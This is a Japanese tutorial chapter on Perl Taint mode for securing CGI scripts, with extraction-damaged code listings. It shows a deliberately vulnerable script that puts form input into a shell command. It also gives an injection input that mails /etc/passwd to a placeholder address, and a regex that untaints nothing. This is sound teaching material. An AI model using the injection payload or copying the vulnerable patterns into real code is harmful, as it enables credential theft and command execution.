リスト 1 1 <HTML> <HEAD> 3 <META http-equiv="content-type" content="text/html; charset=euc-jp"> 4 <TITLE> 住所の検索 </TITLE> 5 </HEAD> 6 <BODY> <FORM method=

Similar documents
実験 5 CGI プログラミング 1 目的 動的にWebページを作成する手法の一つであるCGIについてプログラミングを通じて基本的な仕組みを学ぶ 2 実験 実験 1 Webサーバの設定確認と起動 (1)/etc/httpd/conf にある httpd.conf ファイルの cgi-bin に関する

Webデザイン論

演習室の PC のハードディスクには演習で作成したデータは保管できません 各 PC の ネットワーク接続 ショートカットからメディア情報センターのサーバーにアクセスしてください (Z ドライブとして使用できます ) Web プログラミング 1 CGI (3 章 ) 2012/6/12( 水 ) 講義

演習室の PC のハードディスクには演習で作成したデータは保管できません 各 PC の ネットワーク接続 ショートカットからメディア情報センターのサーバーにアクセスしてください (Z ドライブとして使用できます ) 講義で使うフォルダ 2/23

1

Webデザイン論

ビジネスサーバ設定マニュアル_Standard応用編

2003年度 情報処理概論

WebOTXマニュアル

C:\Apache Software Foundation\Apache2.2\htdocs\sample\login.html サンプルプログラム passworddisc.php <head><title> ログイン </title></head> $user=$_post['user']; $

ソフトウェア基礎 Ⅰ Report#2 提出日 : 2009 年 8 月 11 日 所属 : 工学部情報工学科 学籍番号 : K 氏名 : 當銘孔太

Webプログラミング演習

第 7 回の内容 動的な Web サイト フォーム Web システムの構成

3 Powered by mod_perl, Apache & MySQL use Item; my $item = Item->new( id => 1, name => ' ', price => 1200,

soturon2013

メディプロ1 Javaサーブレット補足資料.ppt

情報システム設計論II ユーザインタフェース(1)

10/ / /30 3. ( ) 11/ 6 4. UNIX + C socket 11/13 5. ( ) C 11/20 6. http, CGI Perl 11/27 7. ( ) Perl 12/ 4 8. Windows Winsock 12/11 9. JAV

Microsoft Word - PHP演習資料.doc

プレポスト【解説】

Taro-cshプログラミングの応用.jt

forever朝活

2. 動的コンテンツとは動的コンテンツとは Web ブラウザからの要求に応じて動的に Web ページや画像などを生成する Web コンテンツのことをいいます Web で利用するサーチエンジンやアクセスカウンタ等は この仕組みを用いています 動的コンテンツは大きく次の二つに分類されます (1) Web

Taro php.jtdc

PowerPoint プレゼンテーション

インターネットマガジン2003年3月号―INTERNET magazine No.98

Si 知識情報処理

~モバイルを知る~ 日常生活とモバイルコンピューティング

WEBシステムのセキュリティ技術

PHP と Postgresql を用いた 図書館管理システムの構築 裘彬濱 Qiu Binbin 南山大学 情報理工学部

Microsoft PowerPoint - Lecture_3

PowerPoint プレゼンテーション

~モバイルを知る~ 日常生活とモバイルコンピューティング

前ページからの続き // テキストボックス02 id 属性で取得 // id 属性で取得する場合は一意に決まるので 何番目かの指定は不要 var textbox02elem = document.getelementbyid("text_box02_id"); if ("001" == statee

Web データ管理 JavaScript (1) (4 章 ) 2011/12/7( 水 ) 湘南工科大学講義資料 Web データ管理 (2011) 阿倍 1/21

SOC Report

第3回_416.ppt

◎phpapi.indd

WEB DB PRESS Vol.1 65

( 前回 ) 提出課題 課題 1( 提出課題 ): データベースからデータを読み込み, そのデータを表示する Web ページ作成してみましょう user テーブルから書籍のデータを一覧表示する. 手順 1:PHP のファイルを user_list.php という名前で作業フォルダに作成する. プログ

Micro Focus Enterprise Developer チュートリアル メインフレーム COBOL 開発 : MQ メッセージ連携 1. 目的 本チュートリアルでは CICS から入力したメッセージを MQ へ連携する方法の習得を目的としています 2. 前提 使用した OS : Red H


54 5 PHP Web hellow.php 1:<?php 2: echo "Hellow, PHP!Y=n"; 3:?> echo PHP C 2: printf("hellow, PHP!Y=n"); PHP (php) $ php hellow.php Hellow, PHP! 5.1.2

_unix_text_command.pptx

システム分析とデータベース設計

Webデザイン論

ファイルの内容本プログラムのファイルの内容は 以下の通りです form.cgi フォームプログラム ( パーミッション 755) form.html 入力及び確認画面用 html ファイル ( パーミッション 644) error.html エラー画面用 html ( パーミッション 644) fi

2019年度 Webシステムプログラミングa

Windows Server 2003 におけるPrint Manager V6.0L10の留意事項

JavaScript 演習 2 1

</ul> (XXX ) 15 ( )15 35 (XXX ) 15 ( ) [4] HTML HTML HTML HTML 1. <!--- CONTENTS_TITLE_TABLE ---> <b><font size=+1>xxx </font></b> <sm

メソッドのまとめ

Microsoft Word - manual

全体ロードマップ インターネット電話 音の符号化 ( 信号処理 ) 今日 音の録音 再生 ネットワーク ( ソケット ) プログラミング ファイル入出力 インターネットの基礎 C プログラミング基礎

Cisco CSS HTTP キープアライブと ColdFusion サーバの連携

フィルタとは

情報システム設計論II ユーザインタフェース(1)

Microsoft PowerPoint - 04WWWとHTML.pptx

2006

多言語ドメイン名の実装 mdnkit 石曽根信 ( 株 ) SRA 2001/12/04 日本語ドメイン名解説 / mdnkit 1 mdnkit 多言語ドメイン名を扱うためのツールキット 正規化 エンコード変換等を提供するライブラリとコマンド 既存アプリケーシ

Microsoft Word - PHP_SQLServer2012

PowerPoint プレゼンテーション

hands_on_4.PDF

シェルプログラミング コマンドをパイプでつなげるだけでは済まないような ある程度まとまった処理を複数のコマンドを制御構文を用いたりしてファイルとしたものを ( シェル ) スクリプトと呼ぶ シェルプログラム バッチなどともいう.bash_profile もシェルスクリプトなので このファイルを解読し

Delphi/400でFlash動画の実装

Microsoft PowerPoint - Lecture_2

Apache-Tomcat と 冗長な UTF-8 表現 (CVE 検証レポート ) 2008 年 08 月 26 日 Ver. 0.1

Microsoft PowerPoint - myadmin.ppt

JavaScriptで プログラミング

情報システム設計論II ユーザインタフェース(1)

Microsoft PowerPoint _2b-DOM.pptx

* ライブラリ関数 islower(),toupper() を使ったプログラム 1 /* 2 Program : trupper.c 3 Student-ID : K 4 Author : TOUME, Kouta 5 Comments : Used Library function i

Microsoft Word - CygwinでPython.docx

ご利用における制限事項と入力制限一覧 ご利用における制限事項と入力制限一覧 アルファメールプラチナでご利用いただくサービスにおいて 以下のような制限事項や入力制限を設けています ご利用時にはご注意ください 制限事項と入力制限は 2017 年 2 月 1 日時点での情報を元に作成しています 基本設定

kiso2-03.key

第 3 回情報基礎演習 UNIX / Linux: ファイルシステム シェルを理解しよう! 谷口貴志 Panda に login し 情報基礎演習クラスの VDI から Ubuntu に接続し Linux に login した後, 左 上の Activity 端末のアイオン をクリック 端末 を立ち


Nagios XI Webサイトの改ざん監視

<td width=99%><input type="file" size="80" name="file"></td> <td width=1% nowrap align=right valign=top> 削除キー : </td> <td width=99%><input type="passw

1 ログインとログアウト 1.1 ログイン ログイン画面で [ password ] 欄にパスワードを入力します (図 1) 図 1 ログイン画面 正しくログインができると Ubuntu のデスクトップ画面 図2 が表示されます 図2 Ubuntu デスクトップ画面 2

目次 第 1 章ホームページ作成 ホームページの作成 ホームページ作成にあたっての留意事項 アクセスカウンタの設置方法 メール送信フォームのご利 方法 メール送信フォームご利 に関する留意事項.

SOC Report

SOC Report

Create!Form V11 - 機能リファレンス - テスト実行

メソッドのまとめ

Prog2_15th

Web プログラミング 1 JavaScript (4) (4 章 ) 2013/7/17( 水 ) 日時 講義内容 4/10 ( 水 ) ガイダンス Web (1 章 ) 4/17 ( 水 ) HTML+CSS (1) (2 章 ) 4/24 ( 水 ) HTML+CSS (2) (2 章 ) 5

JavaScript 1.! DOM Ajax Shelley Powers,, JavaScript David Flanagan, JavaScript 2

JavaScript演習

Another HTML-lint 導入マニュアル(JSP)版

新OS使用時の留意事項

3 ハイパーサーバサービスの諸設定を行う為の コントロールパネル のメイン画面が表示されます ウェブサイトとドメイン タブの データベース 欄にある 新規データベースを追加 をクリックします ( 新規データベースを追加 ボタンがない場合は データベース をクリックし データベース画面にある 新しいデ

WebCADD.com ご利用ガイド

Total View Debugger 利用の手引 東京工業大学学術国際情報センター version 1.0

manaba course 出席機能 操作マニュアル

1. 報告依頼業務 報告書集計システムを利用して 本部の報告依頼者が 売上実績見通しを各支社から収集し 報告書を作成します 依頼側の業務 1

本チュートリアルについて 14 部構成 比較的簡単なトピックから 各回 プログラミング言語 任意 チュートリアルで 新しい内容 宿題 プログラミング演習 次の週 結果について発表 もしくは話し合いをする スライドは Python で Python, C++, Java, Perl についての質問い答

スライド 1

Taro-02_Web_html自習テキストⅡ.

PowerPoint プレゼンテーション

Transcription:

第 4 章 セキュア Perl プログラミング [4-3.] Perl の Taint モード ( 汚染検出モード ) Perl のエンジンには Taint モード ( 汚染検出モード ) というものがある このモードで動作する Perl エンジンは, 外部から与えられた警戒すべきデータを汚染データとしてマーキングし, それが処理の過程でどの変数に伝搬していくかを追跡してくれる これは, セキュア プログラミングに有用な機能である 汚染データ 多くの CGI プログラムではフォームからのデータを受け取り, それらをプログラム内で加工したり, ファイルに蓄積するようなコーディングが見られる では, フォームから渡ってきたデータのように外部から与えられたデータを素のままの状態で利用することは安全なのだろうか? この質問に対しては いいえ と答えざるを得ない このように外部から与えられたデータは 汚染データ と呼ばれ, 必ず汚染を取り除いて使用することが安全なプログラムを作成する上で大変重要となる 汚染データに起因する問題 まず, 画面 1 のスクリーンショットを見てほしい こ れは, フォームで入力された氏名を元に住所を返す簡 単な CGI の例である 画面 1 このフォームの HTML をリスト1に, フォームデータを処理する Perl プログラムをリストに示す リストの 3 行目で指定されているファイルに名前と住所が : で区切られて保存されており, そのファイルをフォームで指定された氏名で検索し, 住所を返す このプログラムでは検索を行うのに grep コマンドを使用している このプログラムは一見何の問題もないように見えるかもしれない しかし, 実は大きな危険性を孕んでいるのである フォームの欄に氏名の代わりに ;mail hoge@hogehoge < /etc/passwd; と入力された場合, パスワードファイルが hoge@hogehoge 宛てに送付されてしまうこともあるのだ

リスト 1 1 <HTML> <HEAD> 3 <META http-equiv="content-type" content="text/html; charset=euc-jp"> 4 <TITLE> 住所の検索 </TITLE> 5 </HEAD> 6 <BODY> <FORM method="post" action="/cgi-bin/formtest.pl"> 8 氏名 :<INPUT size="0" type="text" name="name"><p> <INPUT type="submit" value=" 送信 "> <INPUT type="reset"> 10 </FORM> 11 </BODY> 1 </HTML> リスト 1 #!/usr/bin/perl 3 $file_name = "/tmp/namelist"; 4 5 use CGI; #CGI モジュールの使用宣言 6 $query = new CGI; $name = $query->param('name'); #FORM からのデータを取得 8 open GREP, "/bin/grep $name $file_name "; #grep コマンドを利用して住所を取得 10 print $query->header, 11 $query->start_html(' 検索結果 '); 1 while(<grep>){ 13 @val = split(/:/); 14 print $query->h1("your address : $val[1]"); 15 } 16 close GREP; 1 print $query->end_html;

Taint モードの使用 Perl では, 前述のような問題を回避するために Taint モード と呼ばれる汚染検出用のモードを用意している Taint モードは,setuid ビットや setgid ビットが付加されたプログラムが, 実ユーザ ID, 実グループ ID とは異なる実効ユーザ ID, 実効グループ ID で実行された場合に有効となる また, コマンドラインフラグとして -T を指定し陽に有効にすることも可能である このモードでは, フォームからのデータのみでなく, コマンドライン引数, 環境変数, ロカール情報, 幾つかのシステムコール (readdir,readlink, getpw* 呼び出しの gecos フィールド ) の結果, すべてのファイル入力などを汚染データとして扱い, これらのデータをサブシェルを起動するコマンド (system,exec など ) や, ファイルやディレクトリ, プロセスに変更を加えるようなコマンド (unlink,umask など ) の引数として使用した場合, エラーとしてくれる リストを Taint モードで実行されるように変更したものがリスト3である 変更点は 1 行目の #!/usr/ bin/perl の後に -T を指定したのみである また,CGI プログラムで起こったエラーをブラウザ上で参照できるようにするためにデモンストレーション用コードも加えた (3 行目から 6 行目 ) リスト 3を実行した結果が画面 である 結果はエラーとなっている リスト 3 1 #!/usr/bin/perl -T Taint モードを指定 3 BEGIN { # デモンストレーション用 1 $name = $query->param('name'); 13 14 open GREP, "/bin/grep $name $file_name "; 15 print $query->header, 16 $query->start_html(' 検索結果 '); 1 while(<grep>){ 18 @val = split(/:/); 1 print $query->h1("your address : $val[1]"); 0 } 1 close GREP; print $query->end_html; 画面 -3-

エラーの回避 画面 の Insecure $ENV{PATH} エラーメッセージは, 環境変数 PATH を設定しなかったり,PATH に安全でない値を設定した場合に出力される Perl はプログラム内で使用される実行ファイル ( リスト3の例では,14 行目で指定されている /bin/grep) が PATH を参照して別のプログラムを実行しないことを判断することができないため, プログラマが PATH 環境変数を設定するまでエラーを出力する この問題を引き起こす環境変数は PATH だけではなく,IFS,CDPATH,ENV,BASH_ENV のような環境変数にも留意する必要がある これらの対応を施したプログラムをリスト4に示す リスト4を実行した結果が画面 3である ここでは, 先ほどとは異なる Insecure dependency エラーが出力されている このエラーは, ある変数が汚染されていることを意味している リスト4の 1 行目で grep コマンドの引数として指定されている $name 変数は, フォーム ( 外部 ) から与えられたデータであるため, 汚染データとして取り扱われることとなる この汚染データを grep コマンドの引数として処理しようとしたため Insecure dependency エラーが出力されたのである では, どのようにすればこの問題を回避できるのであろうか? その方法は, マッチした正規表現のサブパターンを参照することである 例として, フォームから与えられたデータにアルファベット, 数字, アンダースコア, ハイフン, アットマーク, ドット以外の文字が含まれていた場合にエラーとするコーディングをリスト4に追加したものをリスト5に示す リスト5の 13 行目でフォームから与えられたデータと正規表現とのパターンマッチングを行っており, マッチした部分文字列を 14 行目の $1 で参照している これらのコーディングの追加により前述の問題は回避される リスト 4 1 #!/usr/bin/perl -T 3 BEGIN { # デモンストレーション用 1 $name = $query->param('name'); 13 14 $ENV{'PATH'} = '/bin:/usr/bin'; PATH 環境変数を設定 15 delete @ENV{'IFS', 'CDPATH', 'ENV', 'BASH_ENV'}; IFS,CDPATH,ENV,BASH_ENV 環境変数を空にする 16 1 open GREP, "/bin/grep $name $file_name "; 18 print $query->header, 1 $query->start_html(' 検索結果 '); 0 while(<grep>){ 1 @val = split(/:/); print $query->h1("your address : $val[1]"); 3 } 4 close GREP; 5 print $query->end_html; -4-

画面 3 ( エラーメッセージのみ ) リスト 5 1 #!/usr/bin/perl -T 3 BEGIN { 1 $name = $query->param('name'); 13 if ($name = / A([- @ w.]+) z/) { 追加部分 14 $name = $1; 追加部分 15 } else { 追加部分 16 die "Bad data in name."; 追加部分 1 } 追加部分 18 1 $ENV{'PATH'} = '/bin:/usr/bin'; 0 delete @ENV{'IFS', 'CDPATH', 'ENV', 'BASH_ENV'}; 1 open GREP, "/bin/grep $name $file_name "; 3 print $query->header, 4 $query->start_html(' 検索結果 '); 5 while(<grep>){ 6 @val = split(/:/); print $query->h1("your address : $val[1]"); 8 } close GREP; 30 print $query->end_html;

Taint モードの盲点 これまでに Taint モードの有用性や安全性を高めるための対策について示してきた しかしながら,Taint モードは万能ではなく, 安全なプログラムを書くためにはプログラマの注意が必要となる リスト6を見てほしい このリストはリスト5の 13 行目の正規表現部分を / A(.*) z/ に変更しただけである この正規表現は全ての文字にマッチするためシェルにとって特別な意味を持つ文字も素通ししてしまう このような場合であっても Taint モードでは 汚染は除去された と見なされるため, 安全性の確保にはならないのである リスト 6 1 #!/usr/bin/perl -T 3 BEGIN { 1 $name = $query->param('name'); 13 if ($name = / A(.*) z/) { 変更部分 14 $name = $1; 15 } else { 16 die "Bad data in name."; 1 } 18 1 $ENV{'PATH'} = '/bin:/usr/bin'; 0 delete @ENV{'IFS', 'CDPATH', 'ENV', 'BASH_ENV'}; 1 open GREP, "/bin/grep $name $file_name "; 3 print $query->header, 4 $query->start_html(' 検索結果 '); 5 while(<grep>){ 6 @val = split(/:/); print $query->h1("your address : $val[1]"); 8 } close GREP; 30 print $query->end_html;

CGI 以外の例 CGI を題材に話を進めてきたが, 他の危険な例についても若干触れておきたい リスト にいくつかの例を 示すので参考にしてほしい リスト # コマンドライン引数を変数に代入 ($arg は汚染される ) $arg = shift; $data = 'hoge'; # これは汚染されない # 外部ファイルからのデータを変数に代入 ($line は汚染される ) $line = <>; $line = <STDIN> open INPUT, "/tmp/somefile" or die $!; $line = <INPUT>; # サブシェルを起動するコマンドやファイルやディレクトリ # プロセスに変更を加えるようなコマンドの実行 ( エラーとなる ) system "echo $arg"; exec "echo $arg"; unlink $data, $arg; umask $arg @files = <*.c>; @files = glob('*.c'); #system,exec コマンドの例外 #( 引数にリストを渡した場合 汚染チェックされない ) system "/bin/echo", $arg; # エラーではない system "echo", $arg; # 環境変数のチェックのみ exec "/bin/echo", $arg; # エラーではない exec "echo", $arg; # 環境変数のチェックのみ まとめ Perl に実装された Taint モードは, 安全性の高いプログラムを作成する上で非常に有効な手段の1つであることが分かる しかし, この機能は完全ではなく, プログラマは外部から与えられたデータや環境変数などを利用することで起きる問題について熟知し, 最大の注意を払う必要がある 参考文献 man perlsec, man perlfunc (Unix / Linux システムに付属のオンラインマニュアル ) The World Wide Web Security FAQ http://www.w3.org/security/faq/www-security-faq.html